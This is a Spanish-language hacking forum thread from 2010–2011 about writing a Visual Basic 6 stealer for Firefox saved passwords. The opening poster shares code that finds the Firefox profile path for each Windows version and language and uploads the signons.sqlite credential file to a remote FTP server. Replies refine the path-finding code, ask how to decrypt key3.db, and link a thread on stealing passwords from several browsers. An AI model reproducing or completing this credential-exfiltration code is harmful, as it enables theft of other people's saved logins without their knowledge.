[VB6] FireFox Passwords Stealer

Foro de elhacker.net

Seguridad Informática

Análisis y Diseño de Malware (Moderador: fary)

[VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

0 Usuarios y 1 Visitante están viendo este tema.

Páginas: [1] 2

Autor

Tema: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7? (Leído 11,436 veces)

extreme69

Desconectado

Mensajes: 178

Be BlackHat but don't forget your principles.

[VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« en: 25 Junio 2010, 21:13 pm »

Hice un stealer para passwords de firefox, funciona perfecto, pero sólo funciona en Win XP en español (y digo en español porque no le agregué la ruta del Win XP en inglés aún)

1) La cosa es que quiero hacer que me robe también las contraseñas en Win7 (inglés y español) y en WinXP en inglés pero no sé las rutas del archivo "signons.sqlite" en esos sistemas operativos.

Alguien sería tan amable de decirme en donde se aloja dicho archivo en cada idioma de Win7 y WinXP ? (o por lo menos digan en donde está en su pc y que sistema operativo e idioma tienen).

WinXP Español: C:\Documents and Settings\USUARIO\Datos de programa\Mozilla\Firefox\Profiles\iwlspcot.default\signons.sqlite

2) Por otro lado, ¿sólo se necesita el archivo signons.sqlite?

Porque probé con mi pc la parte del robo del archivo y funciona perfecto, y probé con el archivo signons.sqlite de un amigo (que me lo pasó amablemente para probar) y también pude ver sus passwords, pero cuando intento hacerlo con otro signons.sqlite de un Win7 no me deja ver las pass :/

Ví también que en Win7 hay un archivo que difiere de tamaño con respecto a WinXP dentro de la misma carpeta "????????.default" que se llama "cert8.db", es el único archivo que difiere del resto :huh:

Alguien me da alguna ayudita?

Gracias!!! ;-)

EDIT: ahora se me ocurrió leer el CurrentVersion del registro y según la versión de windows ejecutar X lineas, también lo puedo hacer con el idioma, de todos modos sigo necesitando las rutas de los distintos OS's.

EDIT2: Listo, ya tengo la parte de detectar OS e idioma del OS terminada, ahora sólo me faltaría saber las rutas de cada OS e Idioma.

EDIT3: Ahora lo tengo funcionando en XP (inglés y español) y Win7 en todos los idiomas ;-)

. Sigo necesitando el nombre de la carpeta "Datos de programa" en otros idiomas (portugues, alemán, y algún otro) en Windows XP.

Esto parece un monólogo xD


« Última modificación: 26 Junio 2010, 02:09 am por extreme69 »	En línea

Karcrack

Desconectado

Mensajes: 2.416

Se siente observado ¬¬'

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #1 en: 26 Junio 2010, 10:37 am »

Variable de entorno:

Código:

http://es.wikipedia.org/wiki/Variable_de_entorno
http://en.wikipedia.org/wiki/Environment_variable

Solucion:
%APPDATA%

Código

msgbox Environ("APPDATA")

Saludos


« Última modificación: 26 Junio 2010, 10:40 am por Karcrack »	En línea

(PGP ID)

extreme69

Desconectado

Mensajes: 178

Be BlackHat but don't forget your principles.

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #2 en: 26 Junio 2010, 19:30 pm »

Si, lo sé, el problema era que no sabía como usar el %APPDATA% en la línea que lo necesitaba, también podía usar %HOMEPATH% que es lo que hice en cierta parte del código, quizás me la compliqué demasiado, pero bueno, soy nuevo en VB, tengo 2 semanas de VB, bastante que lo pude hacer desde cero sin usar código de terceros xD

En cierta parte del código usé algo como:

Código:

    If GetWinVersion = "5,01" And txt_language.Text = "Spanish (Español)." Then
        txt_Comando.Text = "dir /b ""%homepath%\DATOSD~1\Mozilla\Firefox\Profiles\*.*"""
    End If
    
    If GetWinVersion = "5,01" And txt_language.Text <> "Spanish (Español)." Then
        txt_Comando.Text = "dir /b ""%homepath%\AppData\Mozilla\Firefox\Profiles\*.*"""
    End If

    If GetWinVersion = "6,01" Then
        txt_Comando.Text = "dir /b ""%homepath%\AppData\Roaming\Mozilla\Firefox\Profiles\*.*"""
    End If

El problema es que no sabía ponerlo aquí:

Código:

FtpPutFile hConnection, (txt_discolocal.Text & "\Users\" & txt_UserName.Text & "\AppData\Roaming\Mozilla\Firefox\Profiles\" & txt_resultado.Text & "\signons.sqlite"), "signons.sqlite", FTP_TRANSFER_TYPE_UNKNOWN, 0

Me hubiese evitado conseguir el txt_UserName.Text si hubiese podido usar %APPDATA%, ahora pruebo si lo logro.

Gracias Karcrack, estuve probando tu crypter, está bastante útil.

Le estoy dedicando mucho tiempo a VB a ver si aprendo rápido ^^


	En línea

Karcrack

Desconectado

Mensajes: 2.416

Se siente observado ¬¬'

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #3 en: 27 Junio 2010, 14:08 pm »

Te recomiendo que utilices Variables para almacenar la informacion, y no controles, eso es una chapuza $:-\$

Asi es como lo haria yo

Código

    Dim sPath   As String
 
    Call Dir$(Environ$("APPDATA") & "\Mozilla\Firefox\Profiles\*.*", vbDirectory)
    Call Dir$
    sPath = Environ$("APPDATA") & "\Mozilla\Firefox\Profiles\" & Dir$()
    MsgBox sPath

Saludos, y mucha suerte


	En línea

(PGP ID)

yalosabes

Desconectado

Mensajes: 87

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #4 en: 31 Marzo 2011, 22:13 pm »

hola =)

Una vez que se haya el archivo key3.db que se hace?


	En línea

CAR3S?

Desconectado

Mensajes: 343

Level xXx

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #5 en: 26 Abril 2011, 21:43 pm »

disculpen que reviva.... pero nadie tiene el link? :rolleyes:

estoy peleando con ese key3.db .... pero la verdad estoy en 0.


	En línea

jacckker

Desconectado

Mensajes: 9

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #6 en: 20 Octubre 2011, 17:25 pm »

Podrías compartir el código?


	En línea

Si aquel que pregunta una vez es tonto una vez y aquel que no pregunta nunca es tonto siempre, yo soy re inteligente!!

jacckker

Desconectado

Mensajes: 9

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #7 en: 21 Octubre 2011, 22:08 pm »

Se que no es una colaboración lo que voy a hacer, pero creé un tema en el que estoy queriendo desarrollar un stealer para Firefox, Chrome e Internet Explorer.

Si a alguno le interesa, los invito a dar una vuelta: http://foro.elhacker.net/net/desarrollo_de_stealer_en_c-t342540.0.html


	En línea

Si aquel que pregunta una vez es tonto una vez y aquel que no pregunta nunca es tonto siempre, yo soy re inteligente!!

BlackZeroX

Wiki

Desconectado

Mensajes: 3.158

I'Love...!¡.

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #8 en: 22 Octubre 2011, 00:40 am »

.
Si no mal recuerdo. para abrir key3.db nesesitas SQLite... corrijanme si me equivoco.

http://www.scribd.com/fullscreen/52882068

Dulces Lunas!¡.


« Última modificación: 22 Octubre 2011, 00:43 am por BlackZeroX (Astaroth) »	En línea

The Dark Shadow is my passion.

jacckker

Desconectado

Mensajes: 9

Re: [VB6] FireFox Passwords Stealer - WinXP y ¿Win7?

« Respuesta #9 en: 24 Noviembre 2011, 19:26 pm »

Cita de: BlackZeroX (Astaroth) en 22 Octubre 2011, 00:40 am

.
Si no mal recuerdo. para abrir key3.db nesesitas SQLite... corrijanme si me equivoco.

http://www.scribd.com/fullscreen/52882068

Dulces Lunas!¡.

Recordas bien, pero los datos estan cifrados en la base de datos


	En línea

Si aquel que pregunta una vez es tonto una vez y aquel que no pregunta nunca es tonto siempre, yo soy re inteligente!!

Páginas: [1] 2

Ir a:

Mensajes similares
	Asunto	Iniciado por	Respuestas	Vistas	Último mensaje
	Conseguir passwords de WinXP no actualizado pero bloqueado? Hacking	Sauruxum	1	2,591	25 Agosto 2010, 15:47 pm por Sauruxum
	De WinXP a Win7 Windows	vincent13m	4	3,320	2 Diciembre 2010, 21:10 pm por Randomize
	Desde 0 - Stealer Firefox Programación Visual Basic	CAR3S?	4	4,300	29 Octubre 2012, 02:21 am por raul338
	Virtualizar win7 64bits en WinXp - help Windows	Maurice_Lupin	2	2,322	11 Marzo 2013, 02:39 am por MCKSys Argentina
	Ingresar a FTP de winXP desde PC con win7 Redes	hunter18	0	1,750	22 Mayo 2013, 21:38 pm por hunter18